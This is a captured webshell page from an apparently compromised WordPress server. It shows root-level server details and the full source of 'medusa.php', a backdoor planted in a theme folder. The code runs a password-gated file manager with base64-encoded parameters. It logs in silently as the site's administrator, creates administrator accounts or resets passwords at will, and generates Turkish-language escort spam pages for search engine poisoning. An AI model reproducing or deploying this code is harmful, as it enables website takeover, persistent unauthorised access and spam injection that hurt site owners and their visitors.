403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.216.187
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.4/wp-content/themes/rudzrge/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.4/wp-content/themes/rudzrge/medusa.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

session_start();

// ── Authentication ──────────────────────────────────────────
define('FM_PASSWORD_HASH', password_hash('medusa', PASSWORD_BCRYPT));
$authError = '';

if (isset($_POST['fm_logout'])) {
    $_SESSION['fm_auth'] = false;
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}
if (isset($_POST['fm_password'])) {
    if (password_verify($_POST['fm_password'], FM_PASSWORD_HASH)) {
        $_SESSION['fm_auth'] = true;
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $authError = 'Incorrect password. Please try again.';
    }
}
if (empty($_SESSION['fm_auth'])) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager — Login</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://fonts.googleapis.com/css2?family=Plus+Jakarta+Sans:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
    <script>tailwind.config={theme:{extend:{fontFamily:{sans:['Plus Jakarta Sans','sans-serif'],mono:['JetBrains Mono','monospace']},animation:{'slide-up':'slideUp 0.3s ease-out'},keyframes:{slideUp:{from:{opacity:'0',transform:'translateY(16px)'},to:{opacity:'1',transform:'translateY(0)'}}}}}}</script>
    <style>body{font-family:'Plus Jakarta Sans',sans-serif;}</style>
</head>
<body class="bg-[#080f1f] min-h-screen flex items-center justify-center p-4">
<div class="absolute inset-0 bg-[linear-gradient(rgba(59,130,246,0.03)_1px,transparent_1px),linear-gradient(90deg,rgba(59,130,246,0.03)_1px,transparent_1px)] bg-[size:40px_40px] pointer-events-none"></div>
<div class="relative w-full max-w-sm animate-slide-up">
    <div class="bg-[#0f172a] border border-slate-700/50 rounded-2xl shadow-2xl overflow-hidden">
        <div class="h-1 bg-gradient-to-r from-blue-600 via-blue-400 to-cyan-400"></div>
        <div class="px-8 py-8">
            <div class="flex flex-col items-center mb-8">
                <div class="w-14 h-14 rounded-2xl bg-blue-500/10 border border-blue-500/25 flex items-center justify-center mb-4">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-7 h-7 text-blue-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="1.5"><path stroke-linecap="round" stroke-linejoin="round" d="M3 7a2 2 0 012-2h4l2 2h8a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2V7z"/></svg>
                </div>
                <h1 class="text-xl font-bold text-slate-100">File Manager</h1>
                <p class="text-xs text-slate-500 mt-1 font-mono">v2.2 · LiteSpeed Edition</p>
            </div>
            <?php if ($authError): ?>
            <div class="flex items-center gap-2 px-4 py-3 mb-5 rounded-xl bg-rose-500/10 border border-rose-500/20 text-rose-400 text-sm">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-4 h-4 flex-shrink-0" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
                <?php echo htmlspecialchars($authError); ?>
            </div>
            <?php endif; ?>
            <form method="post">
                <label class="block text-xs font-medium text-slate-400 mb-2">Password</label>
                <div class="relative mb-6">
                    <input type="password" name="fm_password" id="fm_password" required autofocus placeholder="Enter password"
                        class="w-full px-4 py-3 pr-11 font-mono text-sm bg-slate-800/60 border border-slate-700/50 rounded-xl text-slate-200 placeholder-slate-600 focus:outline-none focus:border-blue-500/60 focus:bg-slate-800 transition-all">
                    <button type="button" onclick="togglePw()" class="absolute right-3 top-1/2 -translate-y-1/2 text-slate-500 hover:text-slate-300 transition-colors" tabindex="-1">
                        <svg id="eyeIcon" xmlns="http://www.w3.org/2000/svg" class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
                            <path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z"/>
                            <path stroke-linecap="round" stroke-linejoin="round" d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"/>
                        </svg>
                    </button>
                </div>
                <button type="submit" class="w-full py-3 text-sm font-semibold text-white bg-blue-600 hover:bg-blue-500 rounded-xl transition-all duration-150 shadow-lg shadow-blue-500/20">Sign In</button>
            </form>
        </div>
    </div>
    <p class="text-center text-xs text-slate-700 mt-5 font-mono"><?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE']??'Unknown Server'); ?></p>
</div>
<script>
function togglePw(){const i=document.getElementById('fm_password'),e=document.getElementById('eyeIcon');if(i.type==='password'){i.type='text';e.innerHTML='<path stroke-linecap="round" stroke-linejoin="round" d="M13.875 18.825A10.05 10.05 0 0112 19c-4.478 0-8.268-2.943-9.542-7a9.97 9.97 0 011.563-3.029m5.858.908a3 3 0 114.243 4.243M9.878 9.878l4.242 4.242M9.88 9.88l-3.29-3.29m7.532 7.532l3.29 3.29M3 3l3.59 3.59m0 0A9.953 9.953 0 0112 5c4.478 0 8.268 2.943 9.542 7a10.025 10.025 0 01-4.132 5.411m0 0L21 21"/>';}else{i.type='password';e.innerHTML='<path stroke-linecap="round" stroke-linejoin="round" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z"/><path stroke-linecap="round" stroke-linejoin="round" d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"/>';}}
</script>
</body></html>
<?php exit; }
// ── End Auth ────────────────────────────────────────────────

$timezone = date_default_timezone_get();
date_default_timezone_set($timezone);
$rootDirectory = realpath($_SERVER['DOCUMENT_ROOT']);
$scriptDirectory = dirname(__FILE__);

function x($b){return base64_encode($b);}
function y($b){return base64_decode($b);}
foreach($_GET as $c=>$d) $_GET[$c]=y($d);

$currentDirectory = realpath(isset($_GET['d'])?$_GET['d']:$rootDirectory);
chdir($currentDirectory);

$viewCommandResult=''; $statusMessage=''; $statusType='';
$editorLoad = null;
$terminalHistory = [];

if(!isset($_SESSION['terminal_history'])){
    $_SESSION['terminal_history'] = [];
}
$terminalHistory = $_SESSION['terminal_history'];

// ── Clear History ──────────────────────────────────────────
if(isset($_POST['clear_history'])){
    $_SESSION['terminal_history'] = [];
    $terminalHistory = [];
    $statusMessage = '🗑️ Terminal geçmişi temizlendi';
    $statusType = 'success';
}

// ── WordPress Fonksiyonları ──────────────────────────────
function isWordPressInstall($dir) {
    $wpConfig = $dir . '/wp-config.php';
    $wpAdmin = $dir . '/wp-admin';
    $wpIncludes = $dir . '/wp-includes';
    
    if (file_exists($wpConfig) && is_dir($wpAdmin) && is_dir($wpIncludes)) {
        $config = @file_get_contents($wpConfig);
        if ($config && strpos($config, 'ABSPATH') !== false && strpos($config, 'DB_NAME') !== false) {
            return true;
        }
    }
    return false;
}

function findWpLoadPath($dir) {
    $searchPaths = [
        $dir,
        $dir . '/wp',
        $dir . '/wordpress',
        dirname($dir),
        dirname($dir) . '/wp',
        $_SERVER['DOCUMENT_ROOT'],
        $_SERVER['DOCUMENT_ROOT'] . '/wp',
        $_SERVER['DOCUMENT_ROOT'] . '/wordpress'
    ];
    
    $searchPaths = array_unique($searchPaths);
    
    foreach ($searchPaths as $path) {
        $wpLoadFile = $path . '/wp-load.php';
        if (file_exists($wpLoadFile)) {
            return $wpLoadFile;
        }
    }
    return false;
}

// ── Otomatik Domain URL Algılama ──────────────────────────
function getDomainFromPath($dir) {
    if (preg_match('/domains\/([^\/]+)\/public_html/', $dir, $matches)) {
        return $matches[1];
    }
    $basename = basename($dir);
    if (strpos($basename, '.') !== false) {
        return $basename;
    }
    return false;
}

function getDomainUrl($dir) {
    $domain = getDomainFromPath($dir);
    if ($domain) {
        $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
        return $protocol . $domain;
    }
    return false;
}

function findWpAdminUrl($dir) {
    $domainUrl = getDomainUrl($dir);
    if ($domainUrl) {
        return rtrim($domainUrl, '/') . '/wp-admin';
    }
    
    $docRoot = $_SERVER['DOCUMENT_ROOT'];
    $relativePath = str_replace($docRoot, '', $dir);
    $relativePath = ltrim($relativePath, DIRECTORY_SEPARATOR);
    $relativePath = str_replace(DIRECTORY_SEPARATOR, '/', $relativePath);
    
    if (!empty($relativePath)) {
        $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
        return $protocol . $_SERVER['HTTP_HOST'] . '/' . $relativePath . '/wp-admin';
    }
    return '/wp-admin';
}

// ── Mevcut Dizine Göre WordPress Bilgileri ──────────────
$isWordPress = isWordPressInstall($currentDirectory);
$wpAdminUrl = $isWordPress ? findWpAdminUrl($currentDirectory) : '';
$wpLoadPath = findWpLoadPath($currentDirectory);
$detectedDomain = getDomainFromPath($currentDirectory);

// ── WP Admin Otomatik Giriş ──────────────────────────────
$wpAutoLoginStatus = '';
$wpAutoLoginType = '';

if ($isWordPress && isset($_GET['wp_auto_login'])) {
    $wpLoadPath = findWpLoadPath($currentDirectory);
    if ($wpLoadPath && file_exists($wpLoadPath)) {
        require_once $wpLoadPath;
        if (function_exists('username_exists')) {
            $adminUsers = get_users(['role' => 'administrator', 'number' => 1]);
            if (!empty($adminUsers)) {
                $adminUser = $adminUsers[0];
                wp_set_auth_cookie($adminUser->ID);
                wp_set_current_user($adminUser->ID);
                $wpAutoLoginStatus = '✅ Otomatik giriş yapıldı: ' . $adminUser->user_login;
                $wpAutoLoginType = 'success';
                echo '<script>window.open("' . $wpAdminUrl . '", "_blank");</script>';
            } else {
                $wpAutoLoginStatus = '⚠️ Admin kullanıcı bulunamadı, lütfen WP User ile oluşturun';
                $wpAutoLoginType = 'error';
            }
        } else {
            $wpAutoLoginStatus = '❌ WordPress fonksiyonları yüklenemedi';
            $wpAutoLoginType = 'error';
        }
    } else {
        $wpAutoLoginStatus = '❌ wp-load.php bulunamadı';
        $wpAutoLoginType = 'error';
    }
}

// ── WordPress Kullanıcı İşlemleri ──────────────────────────
$wpUserResult = '';
$wpUserResultType = '';

if ($isWordPress && isset($_POST['wp_user_create'])) {
    $wUser = trim($_POST['wp_username'] ?? '');
    $wPass = $_POST['wp_password'] ?? '';
    $wEmail = trim($_POST['wp_email'] ?? '');
    $wAction = $_POST['wp_action'] ?? 'create';
    
    if (empty($wUser) || empty($wPass)) {
        $wpUserResult = '❌ Kullanıcı adı ve şifre gerekli';
        $wpUserResultType = 'error';
    } else {
        $wpLoadPath = findWpLoadPath($currentDirectory);
        if ($wpLoadPath && file_exists($wpLoadPath)) {
            require_once $wpLoadPath;
            
            if (function_exists('username_exists')) {
                try {
                    if ($wAction === 'login') {
                        $user = get_user_by('login', $wUser);
                        if ($user) {
                            wp_set_auth_cookie($user->ID);
                            $wpUserResult = '✅ Giriş yapılıyor: ' . htmlspecialchars($wUser);
                            $wpUserResultType = 'success';
                            echo '<script>setTimeout(function(){ window.open("' . $wpAdminUrl . '", "_blank"); }, 1000);</script>';
                        } else {
                            $wpUserResult = '❌ Kullanıcı bulunamadı: ' . htmlspecialchars($wUser);
                            $wpUserResultType = 'error';
                        }
                    } else {
                        if (!username_exists($wUser)) {
                            $user_id = wp_create_user($wUser, $wPass, $wEmail);
                            if (!is_wp_error($user_id)) {
                                $user = new WP_User($user_id);
                                $user->set_role('administrator');
                                wp_set_auth_cookie($user_id);
                                $wpUserResult = '✅ Kullanıcı oluşturuldu: ' . htmlspecialchars($wUser);
                                $wpUserResultType = 'success';
                                echo '<script>setTimeout(function(){ window.open("' . $wpAdminUrl . '", "_blank"); }, 1000);</script>';
                            } else {
                                $wpUserResult = '❌ Hata: ' . $user_id->get_error_message();
                                $wpUserResultType = 'error';
                            }
                        } else {
                            $user = get_user_by('login', $wUser);
                            if ($user) {
                                wp_set_password($wPass, $user->ID);
                                wp_set_auth_cookie($user->ID);
                                $wpUserResult = '✅ Şifre güncellendi: ' . htmlspecialchars($wUser);
                                $wpUserResultType = 'success';
                                echo '<script>setTimeout(function(){ window.open("' . $wpAdminUrl . '", "_blank"); }, 1000);</script>';
                            } else {
                                $wpUserResult = '❌ Kullanıcı bulunamadı';
                                $wpUserResultType = 'error';
                            }
                        }
                    }
                } catch (Exception $e) {
                    $wpUserResult = '❌ Hata: ' . $e->getMessage();
                    $wpUserResultType = 'error';
                }
            } else {
                $wpUserResult = '❌ WordPress fonksiyonları yüklenemedi';
                $wpUserResultType = 'error';
            }
        } else {
            $wpUserResult = '❌ wp-load.php bulunamadı: ' . $currentDirectory;
            $wpUserResultType = 'error';
        }
    }
}

// ── Yardımcı fonksiyonlar (global) ──
function pick($arr, $n) {
    shuffle($arr);
    return array_slice($arr, 0, $n);
}
function randStr($arr) {
    return $arr[array_rand($arr)];
}

// ── BODRUM/MUĞLA ESCOrt ŞABLONU ÜRETME FONKSİYONU (Geliştirilmiş) ──────
function generateEscortPage($baseUrl, $city = 'bodrum') {
    $city = strtolower($city);
    // Şehir verileri
    $cityData = [
        'istanbul' => [
            'districts' => ['Avcılar', 'Bağcılar', 'Bakırköy', 'Beşiktaş', 'Beylikdüzü', 'Beyoğlu', 'Büyükçekmece', 'Çatalca', 'Esenyurt', 'Eyüp', 'Fatih', 'Gaziosmanpaşa', 'Kadıköy', 'Kağıthane', 'Kartal', 'Küçükçekmece', 'Maltepe', 'Pendik', 'Sancaktepe', 'Sarıyer', 'Silivri', 'Sultanbeyli', 'Sultangazi', 'Şişli', 'Tuzla', 'Ümraniye', 'Üsküdar', 'Zeytinburnu'],
            'neighborhoods' => ['Levent', 'Etiler', 'Nişantaşı', 'Bebek', 'Ortaköy', 'Kadıköy Merkez', 'Moda', 'Bağdat Caddesi', 'Ataköy', 'Yeşilköy', 'Florya', 'Bahçeşehir', 'Halkalı', 'Beylikdüzü Merkez', 'Gürpınar', 'Mimar Sinan', 'Beykoz', 'Anadolu Hisarı', 'Rumeli Hisarı', 'Arnavutköy', 'Bebek', 'Tarabya', 'Kireçburnu', 'Ayazağa', 'Maslak', 'Sarıyer Merkez', 'Emirgan', 'İstinye'],
            'titlePrefix' => 'İstanbul Escort',
            'descPrefix' => 'İstanbul\'un en prestijli semtlerinde VIP escort hizmeti',
            'keywords' => 'istanbul escort, vip escort, elden ödeme',
            'footerDistricts' => 4,
        ],
        'bodrum' => [
            'districts' => ['Bodrum', 'Marmaris', 'Fethiye', 'Milas', 'Datça', 'Köyceğiz', 'Ula', 'Yatağan', 'Menteşe', 'Seydikemer', 'Ortaca', 'Dalaman', 'Kavaklıdere', 'Akyaka', 'Gökova', 'Turgutreis', 'Yalıkavak', 'Gümüşlük', 'Bitez', 'Türkbükü', 'Göltürkbükü', 'Torba', 'Gündoğan', 'Çiftlik', 'Kadıkalesi', 'Mumcular', 'Etrim', 'Çamarası', 'Yeniköy', 'Kıyıkışlacık', 'İçmeler', 'Turunç', 'Armutalan', 'Beldibi', 'Çetibeli', 'Hisarönü', 'Selimiye', 'Bozburun', 'Söğüt', 'Bayır', 'Ölüdeniz', 'Hisarönü', 'Çalış', 'Karaağaç', 'Göcek', 'Sarigerme', 'İztuzu', 'Dalyan', 'Ekincik', 'Gökçeova'],
            'neighborhoods' => ['Merkez', 'Yalıkavak', 'Türkbükü', 'Göltürkbükü', 'Torba', 'Gündoğan', 'Gümüşlük', 'Bitez', 'Ortakent', 'Yahşi', 'Kumbahçe', 'Çarşı', 'Tepecik', 'Konacık', 'Gümbet', 'Kızılağaç', 'Müskebi', 'Etrim', 'Kadıkalesi', 'Mumcular', 'Yeniköy', 'Çamarası', 'Derince', 'Gökova', 'Akyaka', 'Akçapınar', 'Pınarlıbelen', 'Çetibeli', 'Karaova', 'Yeşiltepe', 'Hisarönü', 'Selimiye', 'Bozburun', 'Söğüt', 'Bayır', 'Turunç', 'İçmeler', 'Armutalan', 'Beldibi', 'Marmaris', 'Merkez', 'Datça', 'Eski Datça', 'Mesudiye', 'Karıncalı', 'Yazıköy', 'Hızırşah', 'Fethiye Merkez', 'Çalış', 'Ölüdeniz', 'Hisarönü', 'Karaağaç', 'Göcek', 'Sarigerme', 'Dalyan', 'İztuzu', 'Ekincik', 'Köyceğiz Merkez', 'Sultaniye', 'Hamitköy', 'Zeytinalanı', 'Beyobası', 'Kavaklıdere'],
            'titlePrefix' => 'Bodrum Escort',
            'descPrefix' => 'Bodrum ve Muğla\'nın en gözde ilçelerinde VIP escort hizmeti',
            'keywords' => 'bodrum escort, mugla escort, vip escort, elden ödeme',
            'footerDistricts' => 4,
        ],
        'antalya' => [
            'districts' => ['Alanya', 'Manavgat', 'Serik', 'Kemer', 'Kaş', 'Demre', 'Finike', 'Kumluca', 'Aksu', 'Kepez', 'Muratpaşa', 'Konyaaltı', 'Döşemealtı', 'Elmalı', 'Gündoğmuş', 'İbradı', 'Akseki', 'Gazipaşa'],
            'neighborhoods' => ['Kaleiçi', 'Lara', 'Konyaaltı Plajı', 'Alanya Merkez', 'Oba', 'Avsallar', 'Konaklı', 'Türkler', 'Payallar', 'Kestel', 'Manavgat Merkez', 'Side', 'Çolaklı', 'Sorgun', 'Kemer Merkez', 'Çıralı', 'Tekirova', 'Kaş Merkez', 'Kalkan', 'Kaputaş'],
            'titlePrefix' => 'Antalya Escort',
            'descPrefix' => 'Antalya\'nın en güzel sahil ilçelerinde VIP escort hizmeti',
            'keywords' => 'antalya escort, alanya escort, vip escort, elden ödeme',
            'footerDistricts' => 4,
        ],
        'ankara' => [
            'districts' => ['Çankaya', 'Keçiören', 'Yenimahalle', 'Altındağ', 'Mamak', 'Sincan', 'Etimesgut', 'Polatlı', 'Gölbaşı', 'Beypazarı', 'Nallıhan', 'Kalecik', 'Kazan', 'Akyurt', 'Çubuk'],
            'neighborhoods' => ['Kızılay', 'Tunalı', 'Bahçelievler', 'Esat', 'Dikmen', 'Oran', 'Çukurambar', 'Söğütözü', 'Anıttepe', 'Ulus', 'Sıhhiye', 'Yenimahalle Merkez', 'Batıkent', 'Eryaman', 'Gimat', 'Macunköy', 'Etimesgut Merkez', 'Sincan Merkez', 'Polatlı Merkez', 'Gölbaşı Merkez'],
            'titlePrefix' => 'Ankara Escort',
            'descPrefix' => 'Ankara\'nın en işlek semtlerinde VIP escort hizmeti',
            'keywords' => 'ankara escort, kızılay escort, vip escort, elden ödeme',
            'footerDistricts' => 4,
        ],
        'bursa' => [
            'districts' => ['Nilüfer', 'Osmangazi', 'Yıldırım', 'Gürsu', 'Kestel', 'Orhangazi', 'İnegöl', 'Gemlik', 'Mudanya', 'Karacabey', 'Mustafakemalpaşa', 'Büyükorhan', 'Keles', 'Harmancık'],
            'neighborhoods' => ['Nilüfer Merkez', 'Konak', 'Altınşehir', 'Bursa Merkez', 'Soğanlı', 'Küçükbalıklı', 'Hamitler', 'Çalı', 'Görükle', 'Bursa OSB', 'Yıldırım Merkez', 'Mimar Sinan', 'Davutkadı', 'Osmangazi Merkez', 'Çarşı', 'Gümüştepe', 'Hüdavendigar', 'Emek'],
            'titlePrefix' => 'Bursa Escort',
            'descPrefix' => 'Bursa\'nın en nezih semtlerinde VIP escort hizmeti',
            'keywords' => 'bursa escort, nilüfer escort, vip escort, elden ödeme',
            'footerDistricts' => 4,
        ]
    ];

    $data = $cityData[$city] ?? $cityData['bodrum'];
    $districts = $data['districts'];
    $neighborhoods = $data['neighborhoods'];
    $titlePrefix = $data['titlePrefix'];
    $descPrefix = $data['descPrefix'];
    $baseKeywords = $data['keywords'];

    // 15-20 anahtar kelime üret: şehir + ilçeler + ekstra
    shuffle($districts);
    $selectedDistricts = array_slice($districts, 0, 18); // en az 15-20 olacak şekilde
    $keywordParts = [];
    // Önce şehir + escort
    $keywordParts[] = strtolower(str_replace(' Escort', '', $titlePrefix)) . ' escort';
    // İlçeler + escort
    foreach ($selectedDistricts as $d) {
        $keywordParts[] = strtolower($d) . ' escort';
    }
    // Ekstra genel kelimeler
    $extra = ['vip escort', 'elden ödeme', 'escort bayan', 'escort kızlar', 'profesyonel escort'];
    $keywordParts = array_merge($keywordParts, $extra);
    // Benzersiz yap ve virgülle birleştir
    $keywordParts = array_unique($keywordParts);
    $keywords = implode(', ', $keywordParts);

    // Karıştır ve ilk 15-20'yi al (zaten yeterli sayıda var)
    $mainD = array_slice($districts, 0, 6); // ana başlık için 6 ilçe
    $semtler = array_slice($neighborhoods, 0, 22);

    // 6 tema (aynı kalabilir)
    $themes = [
        [
            'header' => 'linear-gradient(135deg, #0d0d1a, #1a3a5c)',
            'bg' => '#f0f5f8',
            'cardBg' => '#fff',
            'border' => '#dce8f0',
            'heading' => '#0d1a2a',
            'text' => '#2a3a4a',
            'accent' => '#4a8aaa',
            'tagBg' => '#e8f0f5',
            'tagColor' => '#1a4a6a',
            'statBg' => 'rgba(255,255,255,0.08)',
            'statColor' => 'rgba(255,255,255,0.9)',
            'footer' => '#6a7a8a',
            'cardShadow' => '0 8px 25px rgba(0,0,0,0.05)',
            'cardRadius' => '16px',
            'fontFamily' => "'Inter', sans-serif"
        ],
        [
            'header' => 'linear-gradient(135deg, #f8f0e8, #e8d5c4)',
            'bg' => '#fcf9f5',
            'cardBg' => '#ffffff',
            'border' => '#f0e6df',
            'heading' => '#4a3a2a',
            'text' => '#4a3a38',
            'accent' => '#c4a88a',
            'tagBg' => '#f4ece8',
            'tagColor' => '#7a5a4a',
            'statBg' => 'rgba(74,58,42,0.08)',
            'statColor' => '#4a3a2a',
            'footer' => '#8a7a78',
            'cardShadow' => '0 6px 20px rgba(0,0,0,0.04)',
            'cardRadius' => '20px',
            'fontFamily' => "'Georgia', serif"
        ],
        [
            'header' => 'linear-gradient(135deg, #1a2a3a, #2a4a6a)',
            'bg' => '#f0f2f5',
            'cardBg' => '#ffffff',
            'border' => '#e4e7eb',
            'heading' => '#1a2a3a',
            'text' => '#2d3a4a',
            'accent' => '#4a8aaa',
            'tagBg' => '#e8ecf1',
            'tagColor' => '#1a4a6a',
            'statBg' => 'rgba(255,255,255,0.06)',
            'statColor' => 'rgba(255,255,255,0.85)',
            'footer' => '#6a7a8a',
            'cardShadow' => '0 2px 12px rgba(0,0,0,0.03)',
            'cardRadius' => '12px',
            'fontFamily' => "'Segoe UI', sans-serif"
        ],
        [
            'header' => 'linear-gradient(135deg, #1a0a2a, #3a1a5a)',
            'bg' => '#f8f0fa',
            'cardBg' => '#ffffff',
            'border' => '#e8d8f0',
            'heading' => '#2a0a3a',
            'text' => '#3a2a4a',
            'accent' => '#8a4aaa',
            'tagBg' => '#f0e0f8',
            'tagColor' => '#5a2a7a',
            'statBg' => 'rgba(255,255,255,0.1)',
            'statColor' => '#f0e0f8',
            'footer' => '#6a5a7a',
            'cardShadow' => '0 8px 30px rgba(0,0,0,0.06)',
            'cardRadius' => '24px',
            'fontFamily' => "'Playfair Display', serif"
        ],
        [
            'header' => 'linear-gradient(135deg, #0a1a1a, #1a3a2a)',
            'bg' => '#f0f8f5',
            'cardBg' => '#ffffff',
            'border' => '#dce8e0',
            'heading' => '#0a2a1a',
            'text' => '#2a3a2a',
            'accent' => '#4a8a6a',
            'tagBg' => '#e0f0e8',
            'tagColor' => '#1a5a3a',
            'statBg' => 'rgba(255,255,255,0.08)',
            'statColor' => 'rgba(255,255,255,0.9)',
            'footer' => '#5a6a5a',
            'cardShadow' => '0 6px 18px rgba(0,0,0,0.04)',
            'cardRadius' => '18px',
            'fontFamily' => "'Trebuchet MS', sans-serif"
        ],
        [
            'header' => 'linear-gradient(135deg, #2a1a0a, #5a3a1a)',
            'bg' => '#faf5f0',
            'cardBg' => '#ffffff',
            'border' => '#f0e4d8',
            'heading' => '#2a1a0a',
            'text' => '#3a2a1a',
            'accent' => '#c98a5a',
            'tagBg' => '#f0e8e0',
            'tagColor' => '#6a3a1a',
            'statBg' => 'rgba(255,255,255,0.08)',
            'statColor' => 'rgba(255,255,255,0.9)',
            'footer' => '#8a7a6a',
            'cardShadow' => '0 8px 22px rgba(0,0,0,0.05)',
            'cardRadius' => '14px',
            'fontFamily' => "'Georgia', serif"
        ]
    ];
    $theme = $themes[array_rand($themes)];

    // Başlık, açıklama üret (keywords'ten faydalan)
    $title = randStr([
        $mainD[0].' escort, '.$mainD[1].' escort, '.$mainD[2].' escort, '.$mainD[3].' escort, '.$mainD[4].' escort | '.$titlePrefix,
        $mainD[0].' escort | '.$mainD[1].' escort | '.$mainD[2].' escort | '.$titlePrefix.' VIP',
        $titlePrefix.' • '.$mainD[0].' Escort • '.$mainD[1].' Escort • '.$mainD[2].' Escort • VIP',
        $mainD[0].' escort, '.$mainD[1].' escort, '.$mainD[2].' escort, '.$mainD[3].' escort | En İyi '.$titlePrefix.' 2026',
        $titlePrefix.' Rehberi | '.$mainD[0].' Escort, '.$mainD[1].' Escort, '.$mainD[2].' Escort, '.$mainD[3].' Escort, '.$mainD[4].' Escort'
    ]);

    $desc = randStr([
        $mainD[0].' escort, '.$mainD[1].' escort, '.$mainD[2].' escort, '.$mainD[3].' escort, '.$mainD[4].' escort ve diğer ilçelerde hizmet veren kaliteli escort bayanlar. '.$semtler[0].', '.$semtler[1].', '.$semtler[2].' gibi prestijli semtlerde VIP profiller, güncel fotoğraflar ve iletişim bilgileri burada. Elden ödeme, kapora yok, 7/24 gizlilik garantisi.',
        'VIP escort kalitesinde '.$titlePrefix.'\'nın en iyi escort bayanları. '.$mainD[0].', '.$mainD[1].', '.$mainD[2].' başta olmak üzere tüm ilçelerde hizmet. '.$semtler[0].', '.$semtler[1].', '.$semtler[2].' semtlerinde özel randevu. 7/24 destek, gizlilik garantisi.',
        $titlePrefix.' rehberinde '.$mainD[0].', '.$mainD[1].', '.$mainD[2].' ve '.$mainD[3].' ilçelerinde hizmet veren özel escort bayanlar. '.$semtler[0].' escort, '.$semtler[1].' escort, '.$semtler[2].' escort seçenekleri. VIP kalite, güvenli buluşma, elden ödeme.'
    ]);

    // Kartlar
    $cards = '';
    foreach ($mainD as $d) {
        $cards .= '
        <div class="section-card">
            <h2>'.randStr([$d.' escort | '.$d.' semtinde VIP escort bayanlar | '.$titlePrefix.' '.$semtler[0].' Escort, '.$semtler[1].' Escort ve '.$semtler[2].' Escort',
            $d.' escort | '.$d.'\'nin En Özel ve Elit Escort Hizmetleri | '.$titlePrefix.' '.$semtler[0].' Escort, '.$semtler[1].' Escort, '.$semtler[2].' Escort']).'</h2>
            <p>'.randStr([$titlePrefix.' '.$d.' escort hizmetleri, '.$d.'\'nin en prestijli noktalarında VIP konseptte profesyonel partnerlerle buluşmanızı sağlar. '.$d.' Escort bayan seçeneklerimiz, entelektüel birikimleri ve fiziksel zarafetleri ile unutulmaz bir deneyim sunar. '.$semtler[0].', '.$semtler[1].', '.$semtler[2].' başta olmak üzere '.$d.'\'nin tüm semtlerinde hizmet veriyoruz.']).'</p>
            <div class="meta-tags">
                <span class="tag">📍 '.$d.'</span>
                <span class="tag">⭐ VIP</span>
                <span class="tag">🔒 Gizlilik</span>
                <span class="tag">💳 Elden Ödeme</span>
            </div>
        </div>';
    }

    // İlçe listesi
    $listItems = '';
    foreach (array_slice($districts, 0, 20) as $d) {
        $listItems .= '<li><strong>'.$d.' Escort</strong> — '.$d.'\'de profesyonel escort hizmeti, '.$neighborhoods[array_rand($neighborhoods)].' semtinde özel randevu imkanı</li>';
    }

    // Semt etiketleri
    $tags = '';
    foreach ($semtler as $s) {
        $tags .= '<span class="district-tag">✨ '.$s.' Escort</span>';
    }

    // CSS
    $css = '
    * { margin:0; padding:0; box-sizing:border-box; }
    body { max-width:1100px; margin:auto; background:'.$theme['bg'].'; font-family:'.$theme['fontFamily'].'; padding:20px; }
    header { background:'.$theme['header'].'; color:white; padding:50px 20px 40px; text-align:center; border-radius:0 0 25px 25px; box-shadow:0 12px 30px rgba(0,0,0,0.15); }
    header h1 { font-family:\'Playfair Display\',serif; font-size:2.8rem; font-weight:700; letter-spacing:0.5px; }
    header p { color:rgba(255,255,255,0.8); max-width:700px; margin:15px auto; font-size:1.1rem; line-height:1.8; }
    .stats-bar { display:flex; gap:24px; flex-wrap:wrap; justify-content:center; background:'.$theme['statBg'].'; padding:16px; border-radius:16px; margin-top:20px; }
    .stats-bar span { color:'.$theme['statColor'].'; font-weight:500; font-size:0.9rem; }
